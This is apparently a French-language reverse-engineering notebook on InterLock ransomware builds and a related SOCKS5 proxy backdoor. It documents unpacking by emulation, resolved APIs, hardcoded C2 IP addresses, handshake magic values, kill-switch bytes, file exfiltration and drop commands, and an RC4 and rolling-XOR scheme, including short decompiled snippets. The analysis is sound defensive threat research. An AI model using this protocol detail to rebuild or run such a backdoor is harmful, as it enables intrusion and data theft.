Vérification de ce qui suit immédiatement le blob (`RDI + 0x1fe2`, aligne sur 8) : une petite table de 4 pointeurs plausibles dans l'image (`0x140137310 -> 0x140137338`, `0x140137318 -> 0x140137344`, `0x140137320 -> 0x1400e979e`, `0x140137328 -> 0x1400e97b0`), suggérant que la structure complète gère **plusieurs segments compressés** (celui-ci n'étant que le premier), cohabitant avec la taille bien plus grande allouée pour `alloc1` (88063 octets, largement au-dessus des 22528 attendus pour ce seul segment).

**Vérification de cette hypothèse : négative.** Confirmation que `RBX=0x1fe8` (8168, exactement 1021x8) au moment où la boucle sort réellement, à `insn_count~24 milliards` (une seule occurrence sur tout le run, cohérent avec les 1021 écritures déjà mesurées) :

```bash
CAPTURE_STATE=0x14008fa92 CAPTURE_STATE_OUT=/tmp/capture_loopexit.log CAPTURE_STATE_MAX_HITS=100 \
INSTRUCTION_BUDGET=25000000000 /home/ozer/.venvs/ctf-reverse/bin/python3 tools/unpack_interlock_x64.py \
  binaries/5c5598f7....exe /tmp/5c5598f7_loopexit_test.exe
```

Nouveau mécanisme ajouté au harnais (`TRACE_READS=begin,end`, symétrique de `TRACE_WRITES` mais sur `UC_HOOK_MEM_READ`, adapté à une plage de données STATIQUE type table en `.rdata`, contrairement à une variable de pile à adresse dynamique) :

```bash
TRACE_READS=0x140137310,0x140137330 TRACE_READS_OUT=/tmp/trace_ptrtable.log TRACE_READS_MAX_HITS=5000 \
INSTRUCTION_BUDGET=25000000000 /home/ozer/.venvs/ctf-reverse/bin/python3 tools/unpack_interlock_x64.py \
  binaries/5c5598f7....exe /tmp/5c5598f7_ptrtable_test.exe
```

**Résultat : 0 lecture sur les 25 milliards d'instructions.** Cette table de pointeurs n'est jamais consultée dans ce chemin d'exécution. Deux explications possibles, non départagées : (a) elle est sans rapport avec le segment compressé (simple voisinage fortuit en `.rdata`, ex. table d'exceptions ou tableau TLS non lié), ou (b) elle est bien liée à un second segment mais jamais atteinte parce que le programme termine son vrai `RET` volontaire avant d'y arriver dans ce chemin d'exécution précis (cohérent avec l'absence de simulation CLI/argv déjà notée : le harnais démarre à l'entrée brute du PE, sans fournir de fichier cible ni d'arguments, ce qui peut orienter l'exécution vers un chemin différent de celui qui traiterait un second segment). **Piste du second segment fermée faute de piste supplémentaire concrète à explorer sans deviner davantage de structures de données.**

## Traçage du code réel après la sortie de la boucle : ce qui se passe après le plafond

Pour aller jusqu'à une réponse, traçage de l'exécution RÉELLE (pas une resynchronisation statique) juste après la sortie de la boucle de remplissage (`0x14008fa92`, atteint une seule fois sur 25 milliards d'instructions, confirmé par `CAPTURE_STATE` avec `RBX=0x1fe8` soit 8168, exactement 1021x8) :

```bash
TRACE_FUNC=0x14008fa92,0x140090500 TRACE_OUT=/tmp/trace_after_loopexit.log TRACE_MAX_HITS=500000 \
INSTRUCTION_BUDGET=25000000000 /home/ozer/.venvs/ctf-reverse/bin/python3 tools/unpack_interlock_x64.py \
  binaries/5c5598f7....exe /tmp/5c5598f7_afterexit_test.exe
```

Trace désassemblée (bytes réellement exécutés, pas une supposition) : une boucle bornée à 44 itérations (`cmp qword ptr [rsp], 0x2b; jle`, pas un spin infini), suivie d'environ 180 instructions de calcul (shifts/AND/XOR, profil de type checksum/Adler32), puis un **vrai** `leave; ret` (pas le mécanisme de faux-ret habituel) vers une adresse calculée par `lea` au début de la fonction. Élargissement progressif de la fenêtre tracée (`0x140090500` -> `0x1400a0000` -> `0x1400b0000`) pour suivre la suite sans coupure : des **vrais** `call`/`ret` imbriqués apparaissent (`call 0x1400901b8`, `call 0x140090f82`, `call 0x14009137f`, `call 0x140091a10`), tous se terminant par un `ret` propre, contrairement au mécanisme de faux-ret dominant ailleurs dans ce binaire. Une boucle englobante se referme sur elle-même (`0x14009c058: jb 0x14008fa92`, non prise dans ce run : une seule itération), puis enchaîne sur une fonction à prologue normal (`0x14009e170`) qui appelle **le même utilitaire commun** déjà rencontré lors de la recherche de l'origine de `0x1fe2` (`call 0x1400cde20`), cohérent avec une fonction d'aide partagée (allocation/alignement mémoire).

**Découverte clé : construction de chaînes caractères sur la pile, immédiat par immédiat.** Extraction de toutes les instructions `mov dword ptr [...], IMMEDIAT` dans la zone tracée et décodage en UTF-16/ASCII :

```python
# a partir des instructions "mov dword ptr [rsp+N], 0x......" capturees dans la trace
0x1400a82da: 'KE'  (0x45004b, UTF-16LE)
0x1400a82e2: 'RN'
0x1400a82ea: 'EL'
0x1400a82f2: '32'
0x1400a82fa: '.D'
0x1400a8302: 'LL'
# -> "KERNEL32.DLL" (UTF-16, construit caractere par caractere)

0x1400a8312: 'ke'  (meme sequence en minuscules)
...
# -> "kernel32.dll"

0x1400ac5de: 'Lo'  (0x64616f4c, ASCII 4 octets a la fois)
0x1400ac5e6: 'Li'
0x1400ac5ee: 'ar'  (+ 'yA' implicite)
# -> "LoadLibraryA" (ASCII)
```

Ceci confirme que ce code, bien plus loin que la boucle de remplissage, est le **même mécanisme de résolution dynamique d'API déjà documenté** (poison d'IAT + `GetProcAddress`/`LoadLibraryA` résolus à l'exécution) : le code construit "kernel32.dll"/"KERNEL32.DLL" et "LoadLibraryA" sur la pile pour bootstrapper la résolution d'autres fonctions. Zone chaude atteinte ensuite (table de pointeurs à `0x1400c9030`, dispatch vers des dizaines de milliers d'adresses dans `.text`), cohérente avec le même aplatissement de flux de contrôle déjà rencontré partout ailleurs dans ce binaire : pas une nouvelle logique, la même obfuscation à une échelle plus grande.

## Liste complète des fonctions résolues via GetProcAddress : recoupement direct avec un build déjà confirmé

Plutôt que de continuer à lire du désassemblage obfusqué à la main pour deviner quelles fonctions sont résolues, ajout d'un log direct dans le hook `GetProcAddress` du harnais (bien moins coûteux qu'une instrumentation par trace) :

```python
if os.environ.get("LOG_GETPROCADDRESS"):
    gpa_log_path = os.environ.get("LOG_GETPROCADDRESS")
    with open(gpa_log_path, "a") as gpa_f:
        gpa_f.write(f"{fname}\n")
```

```bash
LOG_GETPROCADDRESS=/tmp/gpa_names.log \
INSTRUCTION_BUDGET=25000000000 /home/ozer/.venvs/ctf-reverse/bin/python3 tools/unpack_interlock_x64.py \
  binaries/5c5598f7....exe /tmp/5c5598f7_gpa_test.exe
```

**Résultat sur `5c5598f7...` : 61 noms distincts** (correspond exactement au compteur `GetProcAddress : 61` déjà connu), sans surcoût de performance notable (même durée qu'un run standard). Extrait significatif : `fopen`/`fread`/`fwrite`/`fclose`/`GetFileSize` (I/O fichier), `rand`/`srand`/`_time64` (le mécanisme de clé faible recherché), `NetGetJoinInformation`/`GetSidSubAuthority`/`GetSidSubAuthorityCount`/`OpenProcessToken`/`GetTokenInformation` (reconnaissance domaine/AD, typique ransomware), `CreateProcessA`/`CreatePipe`/`TerminateProcess` (gestion de processus), plus la pile réseau déjà documentée (socket/connect/send/recv/select). **Aucune API CryptoAPI externe** (pas de `CryptAcquireContext`/`BCrypt*`), cohérent avec LibTomCrypt embarqué statiquement comme sur les 5 builds déjà confirmés (pas d'appel à une bibliothèque crypto Windows).

**Comparaison directe avec un build déjà confirmé (`33dc991e...`)**, même instrumentation :

```bash
LOG_GETPROCADDRESS=/tmp/gpa_names_33dc991e.log \
INSTRUCTION_BUDGET=25000000000 /home/ozer/.venvs/ctf-reverse/bin/python3 tools/unpack_interlock_x64.py \
  binaries/33dc991e....exe /tmp/33dc991e_gpa_test.exe
```

134 noms résolus avant un crash (`UC_ERR_READ_UNMAPPED`, ce build va bien plus loin dans son propre payload : `alloc1` rempli à 222549/338431 octets contre 13967/88063 pour `5c5598f7...`, cohérent avec le fait que `5c5598f7...` est capée par son propre segment de 8162 octets, pas par une différence de nature). **Recoupement direct avec la liste de `5c5598f7...`** : `fopen`/`fread`/`fwrite`/`fclose`, `rand`/`srand`, `malloc`/`free`/`memcpy`/`memset`, `CreateProcessA`, `CloseHandle`, `WaitForSingleObject`, `Sleep`, `GetModuleFileNameA`, `strcpy`/`strlen`, `getenv`, `VirtualProtect`, `LoadLibraryA`/`GetProcAddress` apparaissent dans les deux listes. Le build confirmé ajoute des fonctions spécifiquement ransomware non encore vues sur `5c5598f7...` à ce stade de déballage (`RmStartSession`/`RmGetList`/`RmShutdown`/`RmEndSession` : Restart Manager, déverrouillage de fichiers ouverts avant chiffrement ; `EvtClearLog` : nettoyage de journal d'événements ; `K32EnumProcesses`), cohérent avec un déballage simplement plus avancé, pas un programme différent.

**Vérification sur `f0262212...` à 25 milliards d'instructions : trop tôt** (ce build n'avait pas encore atteint le premier `GetProcAddress`, `alloc1` encore entièrement à zéro), confirmant qu'il est simplement plus lent à progresser que `5c5598f7...` à budget égal. Relance à `INSTRUCTION_BUDGET=40000000000` (budget déjà établi comme suffisant pour ce build) :

```bash
LOG_GETPROCADDRESS=/tmp/gpa_names_f0262212.log \
INSTRUCTION_BUDGET=40000000000 /home/ozer/.venvs/ctf-reverse/bin/python3 tools/unpack_interlock_x64.py \
  binaries/f0262212....exe /tmp/f0262212_gpa_test2.exe
```

**Résultat : hashes des 3 buffers strictement identiques à ceux déjà documentés** (`d0f519139d.../eaba5bc19f.../54c821809f...`), confirmant à nouveau la reproductibilité. **61 noms résolus, exactement le même total que `5c5598f7...`.** Comparaison directe des deux listes :

```bash
diff <(sort -u /tmp/gpa_names.log) <(sort -u /tmp/gpa_names_f0262212.log)
```

```
33d32
< memset
41a41
> remove
48d47
< sprintf
55a55
> vsprintf
```

**59 des 61 noms sont strictement identiques entre les deux builds.** Seules 2 différences : `5c5598f7...` résout `memset`/`sprintf` là où `f0262212...` résout `remove`/`vsprintf` à la place. `remove` (suppression de fichier, fonction C standard) est une différence fonctionnellement pertinente pour un ransomware (nettoyage/suppression après traitement d'un fichier), cohérente avec deux versions très proches mais pas strictement identiques du même crypter, pas deux programmes de nature différente.

**Conclusion de cette sous-investigation, à ce stade** : `5c5598f7...` et `f0262212...` partagent un profil de résolution d'API quasi identique entre eux (59/61, 97%) et recoupent celui d'un build déjà confirmé (`33dc991e...`). Le plafond de ~25% de déballage est explique de bout en bout (segment de taille réelle stockée en dur dans le fichier). L'extraction directe du payload, ci-dessous, tranche la nature de ces deux builds.

## Extraction directe du payload embarqué : deux instances du proxy SOCKS5/backdoor

Jusqu'ici, j'ai traité les octets décompressés (22528 pour `5c5598f7...`, 21504 pour `f0262212...`) comme un fragment tronqué d'un payload plus grand (la taille de l'allocation `alloc1`, 88063/87039 octets). Vérification directe, sans émulation supplémentaire, avec une vraie bibliothèque zlib sur les octets compressés déjà capturés dans `alloc0` (déjà confirmés complets : le comptage d'écritures et `READ_AT_ADDR` avaient tous les deux mesuré exactement 8162/8161 octets, une valeur figée dans le fichier, pas une coupure) :

```python
import zlib
with open("5c5598f7....exe.alloc0.bin", "rb") as f:
    alloc0 = f.read()
out = zlib.decompress(alloc0[:8162])
print(len(out))  # 22528, Z_STREAM_END atteint proprement (pas d'erreur, pas de troncature)
```

**Résultat : décompression réussie sans erreur, `Z_STREAM_END` atteint proprement, aucun octet compressé non consommé.** Ce n'est pas un flux tronqué : c'est un flux zlib complet et valide qui se termine de lui-même exactement à cette taille.

Parse avec `pefile` :

```python
pe = pefile.PE(data=out)
# 7 sections : .text .data .rdata .bss .idata .rsrc .reloc
# toutes les donnees brutes des sections tiennent exactement dans les 22528 octets (rien ne depasse)
```

**C'est un PE Windows complet et autonome**, pas un fragment. Sa taille correspond exactement au champ de taille décompressée déjà trouvé dans l'en-tête du segment (`[RDI-0x10] = 0x5800 = 22528`). L'allocation `alloc1` (88063 octets) est simplement dimensionnée plus large que nécessaire pour ce module précis (probablement une taille de buffer générique réutilisée par le crypter, pas spécifique à ce payload) ; ce n'est pas une preuve qu'il devrait être rempli entièrement.

**Table d'imports réelle de ce PE (pas des chaînes, une vraie table d'imports parsée) : exactement les 61 fonctions déjà listées via `GetProcAddress`** (réseau `socket`/`connect`/`send`/`recv`/`getaddrinfo`, reconnaissance domaine `NetGetJoinInformation`/`GetSidSubAuthority`, gestion de processus `CreateProcessA`/`CreatePipe`, I/O fichier `fopen`/`fread`/`fwrite`). Recherche de chaînes : **aucune trace de `clock`/`AES`/`chc_hash`/`rijndael`/`register_cipher`/`LibTomCrypt`**. Recherche d'adresses IP en dur (regex `\d+\.\d+\.\d+\.\d+`) :

```
5c5598f7...  -> 65.108.80.58, 212.104.133.72, 216.245.184.170
f0262212...  -> 65.108.80.58, 84.200.24.41, 216.245.184.170
```

**`65.108.80.58` et `212.104.133.72` correspondent exactement aux adresses C2 déjà documentées pour l'outil proxy SOCKS5** (échantillon `bd504862...`, décembre 2024, voir section dédiée plus loin dans ce document). La chaîne `rundll32` est également présente dans les deux PE extraits, correspondant au mécanisme de dépôt/relance déjà documenté pour ce même outil.

**Vérification par décompilation directe (pas seulement une regex sur les octets).** Décompilation de la fonction `entry` réelle des deux PE extraits (`../hive-keystream-reuse/tools/decompile_addr.py`, adresse `ImageBase + AddressOfEntryPoint`) :

```bash
python3 ../hive-keystream-reuse/tools/decompile_addr.py /tmp/5c5598f7_stage2_embedded.bin out.txt 0x1400033a1
python3 ../hive-keystream-reuse/tools/decompile_addr.py /tmp/f0262212_stage2_embedded.bin out.txt 0x140003be0 0x140001250
```

Résultat : boucle de connexion identique octet pour octet à celle déjà documentée pour l'échantillon proxy de décembre 2024 (`bd504862...`) :
- `for (local_10 = -10; local_10 < 6; local_10++)` : compteur de repli, `Sleep(300000)` (5 min) si `local_10<1`, sinon `Sleep(local_10*local_10*3600000)` (croissance quadratique, jusqu'à 25h à `local_10=5`)
- Sélection d'IP : `FUN_140002c40("65.108.80.58" + (rand()%3)*0x10)` : confirme un tableau de **exactement 3** adresses espacées de 16 octets (pas une coïncidence de regex), vérifié directement dans les octets du fichier : `65.108.80.58\0\0212.104.133.72\0\0216.245.184.170\0` (5c5598f7) et `65.108.80.58\0\0\0\084.200.24.41\0\0\0\0216.245.184.170\0` (f0262212)
- Décompilation de `FUN_140002c40` (fonction de connexion) : `local_68.sa_data._0_2_ = htons(0x1bb)` = **port 443 confirmé**, dispatch de commandes identique (relais tunnel, session, délai imposé par le serveur), **kill switch identique** : `if (*local_30 == '\v' || *local_30 == '\f') { closesocket(...); exit(0); }` (octets 0x0b/0x0c)
- Fichier de secours local : `getenv("tmp")` + `"%s/useyhd"` (différent de `%TEMP%/ribdgfj` déjà documenté pour l'échantillon 2024, seule vraie différence relevée)

**Tableau complet des adresses C2 confirmées par décompilation :**

| Build | Adresses (port 443/TCP) | Fichier de secours |
|---|---|---|
| `5c5598f7...` | `65.108.80.58`, `212.104.133.72`, `216.245.184.170` | `%TEMP%/useyhd` |
| `f0262212...` | `65.108.80.58`, `84.200.24.41`, `216.245.184.170` | `%TEMP%/useyhd` |

**Conclusion, vérifiée de bout en bout par décompilation** : `5c5598f7...` et `f0262212...` ne sont **pas** l'encrypteur InterLock. Ce sont deux instances supplémentaires de **l'outil proxy SOCKS5/backdoor**, empaquetées avec le même crypter que l'encrypteur (d'où la ressemblance de point d'entrée, de chaîne de déballage zlib, et d'imports `rand`/`srand`/`_time64` qui les faisait ressembler à l'encrypteur). Corpus final : **5 confirmés encrypteur** (1 x86 + 4 x64), **7 confirmés proxy/backdoor** (`39539766...`, `45a323e0...`, `8251186b...`, `396eb0e8...`, `5a0d393d...`, et désormais `5c5598f7...`/`f0262212...`), 2 avec métadonnées PE trop corrompues pour trancher. La fenêtre temporelle de la faille cryptographique elle-même reste inchangée (octobre 2024 à mars 2025, déjà couverte sans interruption par les 5 encrypteurs confirmés) ; ces 2 builds documentent une infrastructure proxy/backdoor supplémentaire, pas une preuve additionnelle sur la faille de seed.

## Re-vérification MalwareBazaar : toujours 18 échantillons INTERLOCK, aucun nouveau

```bash
API_KEY=$(cat ../.mb_api_key)
curl -s https://mb-api.abuse.ch/api/v1/ -d "query=get_taginfo&tag=INTERLOCK&limit=1000" -H "Auth-Key: $API_KEY"
```
Résultat : exactement les 18 mêmes hashs déjà connus, aucun nouveau depuis le dernier passage. La fenêtre confirmée reste octobre 2024-mars 2025, non extensible pour l'instant. A refaire périodiquement.

## Reversing de l'outil proxy SOCKS5 : un vrai backdoor C2

Analyse complète de `bd504862...` (88 575 octets déballé, le plus ancien des 3 payloads proxy déjà extraits, décembre 2024). Exports (`Test`/`rundll`/`start`/`GetInstalledPackageInfo`/`FreeInstalledPackageInfo`) tous alias de `start()` :

```bash
python3 ../hive-keystream-reuse/tools/decompile_addr.py \
  tools/unpacked_x64/bd504862....exe socks_exports.txt \
  0x18000336f 0x180003382 0x1800033bb 0x180003395   # Test, rundll, start, GetInstalledPackageInfo
```

Strings de la DLL (`strings -a -n 5`) révèlent directement 3 IP en dur et une chaîne de rapport JSON :
```
65.108.80.58
212.104.133.72
140.82.14.117
{"iptarget": "%d.%d.%d.%d", "domain": "%s", "pcname": "%s", "runas": %d, "typef": %d, "veros": %d}
```

`start()` (décompilé) : boucle infinie, `rand() % 3` pour choisir une IP, connexion TCP port 443 (`htons(0x1bb)`) via `FUN_180002c0e`. Si les 3 échouent, relit un fichier local `%TEMP%/ribdgfj` (`FUN_180001416`, simple lecture de fichier local ; ce fichier est écrit par la commande serveur 6, voir plus bas) comme source d'IP de secours. Délai de reprise croissant (5 min si compteur d'échecs bas, sinon `compteur^2 * 3600000` ms).

```bash
python3 ../hive-keystream-reuse/tools/decompile_addr.py \
  tools/unpacked_x64/bd504862....exe socks_connect_getlist.txt \
  0x180002c0e 0x180001416   # connexion + lecture fichier de secours
python3 ../hive-keystream-reuse/tools/decompile_addr.py \
  tools/unpacked_x64/bd504862....exe socks_xor_json.txt \
  0x180003b6f 0x180002481   # deobfuscation XOR + handshake
```

`FUN_180002481` (handshake) : envoie 4 octets magiques (`0xdf691155`, reordonne `55 11 69 df`) + infos machine (domaine/nom ordinateur), timeout 300s. Réponse serveur 1 octet : `0x01`/`0x02` -> `exit(0)` immédiat (kill switch dès le handshake).

`FUN_180003b6f` (déobfuscation payload, XOR à état roulant, pas une clé fixe) :
```c
etat = (byte)cle;
for (i = 0; i < len; i++) {
    etat = etat * 2 + i;
    payload[i] ^= cle[i % 4] ^ etat;
}
```

Dispatch de commandes (en-tête 12 octets : type u16, session u16, longueur u32, clé u32) : `0`/`3` = tunnel/proxy (spawn thread), `2` = fermeture session, `4`/`5` avec octet `0x0b`/`0x0c` = kill switch, `6` = non tracé (`FUN_1800011c6`), `7` = redirection C2 (nouvelle IP écrite dans `DAT_180027030`), `8` = délai imposé par le serveur.

Persistance : chaînes `"%s/tmp%d.dll"` + `"rundll32.exe %s,run %s"`, même technique d'auto-relance que le crypter du ransomware lui-même.

Le site d'appel de la chaîne JSON et `FUN_1800011c6` (case 6) sont tracés plus bas.

## Comparaison avec les 2 payloads proxy les plus récents (2026), déjà déballés

```bash
cd tools/unpacked_x64
for f in e2538fe19084dd1a3adec0568ce868c088dc2e1cec2798880c583d6a4be4b3f2_unpacked.exe \
         45b77f93c7995300da5c0eed1aceffa1a5b5596afed24b197f8d2a3bb2b642a0_unpacked.exe ; do
  strings -a -n 5 "$f" | grep -E "^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$"
  rabin2 -E "$f"
done
```

Résultat : **3 IP identiques entre les deux builds 2026, différentes du build 2024** :
```
172.86.68.64
23.227.203.123
77.42.75.119
```
(contre `65.108.80.58`/`212.104.133.72`/`140.82.14.117` en 2024). Un seul export (`start`) au lieu de 5, pas de chaîne `ribdgfj`.

Décompilation de `start()` sur `45b77f93...` :
```bash
python3 -c "
import pyghidra
pyghidra.start(install_dir='/opt/ghidra')
with pyghidra.open_program('tools/unpacked_x64/45b77f93....exe', analyze=True) as flat_api:
    st = flat_api.getCurrentProgram().getSymbolTable()
    for s in st.getSymbols('start'):
        print(s.getAddress())
"
python3 ../hive-keystream-reuse/tools/decompile_addr.py \
  tools/unpacked_x64/45b77f93....exe socks_start_2026.txt 0x1800019d0
```

Constats : construction d'un `std::vector<std::string>` (motif de croissance de capacité MSVC STL, constantes `0x5555555555555555`/`0xaaaaaaaaaaaaaaab`) pour les 3 IP au lieu de constantes C brutes ; boucle de reprise **bornée** (compteur -10 à 40, délai `compteur*300000` ms ou `10000` ms fixe si négatif, puis abandon complet après 50 tentatives) au lieu de la boucle infinie à délai quadratique du build 2024 ; port `0x1bb` (443) inchangé.

**Conclusion** : infrastructure C2 renouvelée, réécriture C++/STL, comportement de reprise borné au lieu d'infini.

## Protocole applicatif du build 2026 trace plus loin : en-tête différent, kill switch identique

```bash
python3 ../hive-keystream-reuse/tools/decompile_addr.py \
  tools/unpacked_x64/45b77f93....exe socks_2026_connect.txt 0x180001360   # boucle d'essai par IP (shuffle + iteration)
python3 ../hive-keystream-reuse/tools/decompile_addr.py \
  tools/unpacked_x64/45b77f93....exe socks_2026_deep.txt \
  0x1800044d0 0x180004820 0x180004360   # connexion + dispatch principal (4487 octets)
```

`FUN_180001360` mélange le vecteur d'IP (motif shuffle/distribution uniforme) puis essaie chacune séquentiellement via `FUN_1800044d0` (établit la connexion, construit un objet contexte, appelle `FUN_180004580` pour l'équivalent handshake).

`FUN_180004820` (dispatch principal, 4487 octets décompilés, appels virtuels C++ partout) : lit un en-tête de **25 octets** (contre 12 en 2024). Recherche des cases du switch (`grep -n "switchD_18000498a_caseD\|switch("`) :

```
case 5:  relais de tunnel par session (recherche session existante par ID, sinon creation)
case 6:  local_60 = *(longlong*)local_90; iVar6 = 8;   -- delai impose par le serveur (role identique au case 8 de 2024)
case 7:  fermeture de session par ID (decrement refcount, liberation si 0)
case 0xb: goto kill switch
case 0xc: FUN_1800089c0(); goto kill switch   -- meme paire d'octets 0x0b/0x0c que le build 2024
case 0x21: variante de case 5 (buffer 0x40, formatage different)
case 0x22: variante de case 5 (buffer 0x30, FUN_180007500)
```

**Kill switch confirmé identique** malgré la réécriture complète : `case 0xb`/`0xc` -> `exit(0)` (via `switchD_18000498a_caseD_b`), mêmes valeurs d'octet que le build 2024. Gestion de session par comptage de références atomique (`LOCK`/`UNLOCK` explicites) : plus rigoureux qu'en 2024, cohérent avec la réécriture C++/STL déjà constatée sur la boucle de connexion.

## Build 2024 : chaîne JSON confirmée dans le handshake, case 6 résolue

```bash
python3 -c "
import pyghidra
pyghidra.start(install_dir='/opt/ghidra')
with pyghidra.open_program('tools/unpacked_x64/bd504862....exe', analyze=True) as flat_api:
    mem = flat_api.getCurrentProgram().getMemory()
    it = mem.findBytes(mem.getMinAddress(), b'{\"iptarget\"', None, True, flat_api.getMonitor())
    print(it)
    for ref in flat_api.getCurrentProgram().getReferenceManager().getReferencesTo(it):
        print(ref.getFromAddress())
"
python3 ../hive-keystream-reuse/tools/decompile_addr.py \
  tools/unpacked_x64/bd504862....exe socks_json_case6.txt 0x180001f00 0x1800011c6
```

`FUN_180001f00` (seul appelant de la chaîne JSON) : simple `sprintf` qui remplit le JSON, appelée depuis `FUN_180002481` (handshake) juste après collecte domaine/nom machine, écrit directement dans le buffer envoyé au serveur juste après les 4 octets magiques. **Confirme : le JSON est le corps même du premier paquet de handshake, pas un rapport séparé.**

`FUN_1800011c6` (case 6) : prend une liste d'IP + compteur (fournis par le serveur via la commande 6), exclut les doublons des 3 IP en dur, écrit le reste (obfusqué) dans `%TEMP%/ribdgfj`. Le fichier local n'est donc pas alimenté uniquement en local : il est écrit par une commande serveur explicite (6), puis relu au cycle suivant par `FUN_180001416` si les 3 IP en dur échouent toutes.

## En-tête 25 octets du build 2026 décodé, handshake confirmé, contenu des commandes 0x21/0x22

```bash
python3 ../hive-keystream-reuse/tools/decompile_addr.py \
  tools/unpacked_x64/45b77f93....exe socks_2026_header.txt \
  0x180006a20 0x180006bb0 0x180006bc0 0x180006bd0   # constructeur en-tete + 3 accesseurs
```

`FUN_180006a20` : les 16 premiers octets de l'en-tête servent de graine pour dériver une table de substitution (`FUN_1800078a0`, non tracée), utilisée pour déchiffrer les 9 octets suivants (`FUN_180007910`, style S-box) en 3 champs : session (4 octets, accesseur `FUN_180006bc0`), longueur payload (4 octets, `FUN_180006bb0`), type de commande (1 octet, `FUN_180006bd0`). **Contrairement à 2024 (en-tête en clair), les métadonnées elles-mêmes sont obfusquées ici, pas seulement le payload.**

```bash
python3 ../hive-keystream-reuse/tools/decompile_addr.py \
  tools/unpacked_x64/45b77f93....exe socks_2026_handshake.txt 0x180004580
```

`FUN_180004580` (appelée juste après connexion dans `FUN_1800044d0`) : handshake confirmé présent, nouveau motif magique `0xfe880192` (`0xdf691155` en 2024), timeout 30s (300s en 2024). Réponse serveur 1 octet : `1` -> nettoyage puis `exit(0)` ; `2` -> `exit(0)` direct. **Mêmes deux valeurs et même comportement à deux variantes que le handshake 2024.**

```bash
python3 ../hive-keystream-reuse/tools/decompile_addr.py \
  tools/unpacked_x64/45b77f93....exe socks_2026_addrtypes.txt \
  0x180003a70 0x180007500 0x180005c90 0x180006eb0   # constructeurs de session par commande
```

Trois vtables distinctes selon la commande : `5` -> `FUN_180006eb0`/`PTR_FUN_18004e9f0` ; `0x21` -> `FUN_180003a70`/`PTR_FUN_18004e4f0` ; `0x22` -> `FUN_180007500`/`PTR_FUN_18004eae0`. Hypothèse à vérifier : les 3 modes SOCKS5 standard.

## Décompilation des méthodes réelles : ce ne sont pas les modes SOCKS5/ATYP/UDP

Lecture des vtables (adresses des méthodes virtuelles) puis décompilation de la méthode principale (slot 2, celle utilisée comme boucle de travail par thread) pour chaque classe :

```bash
python3 -c "
import pefile, struct
pe = pefile.PE('tools/unpacked_x64/45b77f93....exe', fast_load=True)
image_base = pe.OPTIONAL_HEADER.ImageBase
for va in [0x18004e9f0, 0x18004e4f0, 0x18004eae0]:
    data = pe.get_data(va - image_base, 0x40)
    print([hex(p) for p in struct.unpack('<8Q', data)])
"
python3 ../hive-keystream-reuse/tools/decompile_addr.py \
  tools/unpacked_x64/45b77f93....exe socks_vtables_case5.txt 0x180007000 0x1800071b0
python3 ../hive-keystream-reuse/tools/decompile_addr.py \
  tools/unpacked_x64/45b77f93....exe socks_vtables_case21_22.txt 0x180003bb0 0x180007670
```

Résultat :
- **Case 5** (`FUN_180007000`) : pompe bidirectionnelle classique, lit jusqu'à 4096 octets d'un socket local, transmet à la session distante. Relais de tunnel simple, confirmé.
- **Case 0x21** (`FUN_180003bb0`) : `fopen(chemin, "rb")` sur un **fichier local**, envoie sa taille (8 octets) puis son contenu par blocs de 0x5000 octets au C2. **Exfiltration de fichier**, pas une distinction d'adresse.
- **Case 0x22** (`FUN_180007670`) : lit un nom de fichier + une taille **depuis le socket**, `fopen(chemin, "wb")`, copie les données reçues dans ce fichier local par blocs de 0x5000 octets. **Dépôt de fichier** (upload serveur -> machine infectée), l'opposé de 0x21.

**Ce ne sont donc pas les modes SOCKS5 CONNECT/ATYP/UDP ASSOCIATE.** C'est un backdoor avec capacités d'exfiltration/dépôt de fichiers arbitraires, pas de simples variantes d'adressage réseau.

## RC4 confirmé pour la protection en-tête + payload

```bash
python3 ../hive-keystream-reuse/tools/decompile_addr.py \
  tools/unpacked_x64/45b77f93....exe socks_2026_substtable.txt 0x1800078a0 0x180007910
```

`FUN_1800078a0` = KSA RC4 textbook (S-box 256 octets, permutation avec la clé = 16 premiers octets de l'en-tête). `FUN_180007910` = PRGA RC4 textbook (compteurs i/j à +0x100/+0x101, keystream XORe avec les données). **RC4 standard, pas une construction maison.**

## Vérification des commandes 0xa0/0xa1

```bash
python3 ../hive-keystream-reuse/tools/decompile_addr.py \
  tools/unpacked_x64/45b77f93....exe socks_2026_case_a0a1.txt 0x180006bf0 0x180005c90
python3 ../hive-keystream-reuse/tools/decompile_addr.py \
  tools/unpacked_x64/45b77f93....exe socks_2026_a1_worker.txt 0x180006d30
```

`0xa0` : réutilisé `FUN_180006eb0` (même constructeur que la case 5), donc un autre chemin de code vers le même relais simple (probablement via `FUN_180005c90`, une structure de registre de sessions différente de la recherche linéaire des autres cases). `0xa1` : constructeur quasi identique à `0x21` (`FUN_180006bf0`, même structure d'adresse à bit de flag), mais méthode de travail (`FUN_180006d30`) qui **appelle `remove()` sur le fichier source après transfert** (et aussi en cas d'échec d'ouverture) : exfiltration avec suppression de traces, variante de `0x21`.


## Validation bit-exacte du RC4 par exécution réelle (Unicorn)

```bash
/home/ozer/.venvs/ctf-reverse/bin/python3 tools/validate_rc4.py
```

`tools/validate_rc4.py` mappe le PE réel `45b77f93...` (sections à leurs adresses d'origine, ImageBase `0x180000000`) et appelle directement `FUN_1800078a0` (KSA) puis `FUN_180007910` (PRGA) avec une clé et un texte clair de test, via la convention d'appel Windows x64 (RCX/RDX/R8/R9, shadow space 0x20, retour vers une adresse sentinelle mappée sur `RET`).

Résultat :
```
ciphertext (code reel du binaire) : 76c3958ce69d006c...
ciphertext (reference RC4 Python)  : 76c3958ce69d006c...
MATCH

roundtrip (dechiffrement du ciphertext produit par le binaire) : b'Ceci est un texte de test pour valider RC4 bit-exact, plus de 16 octets.'
ROUNDTRIP OK
```

Chiffrement et rechiffrement (roundtrip) bit-exacts contre une référence RC4 écrite indépendamment. Première tentative : un bug du harnais de test (réinitialisation de l'allocateur scratch à 0 avant le test de réciprocité) faisait chevaucher le buffer du ciphertext avec la mémoire de la clé déjà écrite, corrompant la clé utilisée par le second KSA. Corrigé en allouant une zone scratch fraîche sans réinitialiser l'offset ; après correction, `ROUNDTRIP OK`. Le bug était dans le harnais Python, pas dans le code du binaire ni dans la validation du sens chiffrement (déjà MATCH avant correction).

Ceci couvre les deux fonctions RC4 du build proxy 2026. Voir plus haut pour la validation bit-exacte équivalente sur l'AES-256-CBC du crypter x86 (`register_cipher`/`find_cipher`/`cbc_start`/`cbc_setiv`/`cbc_encrypt`, également `MATCH`). Le XOR à état roulant du build proxy 2024 n'a pas été validé de la même façon (priorité plus basse, déjà documenté par lecture de décompilation directe).

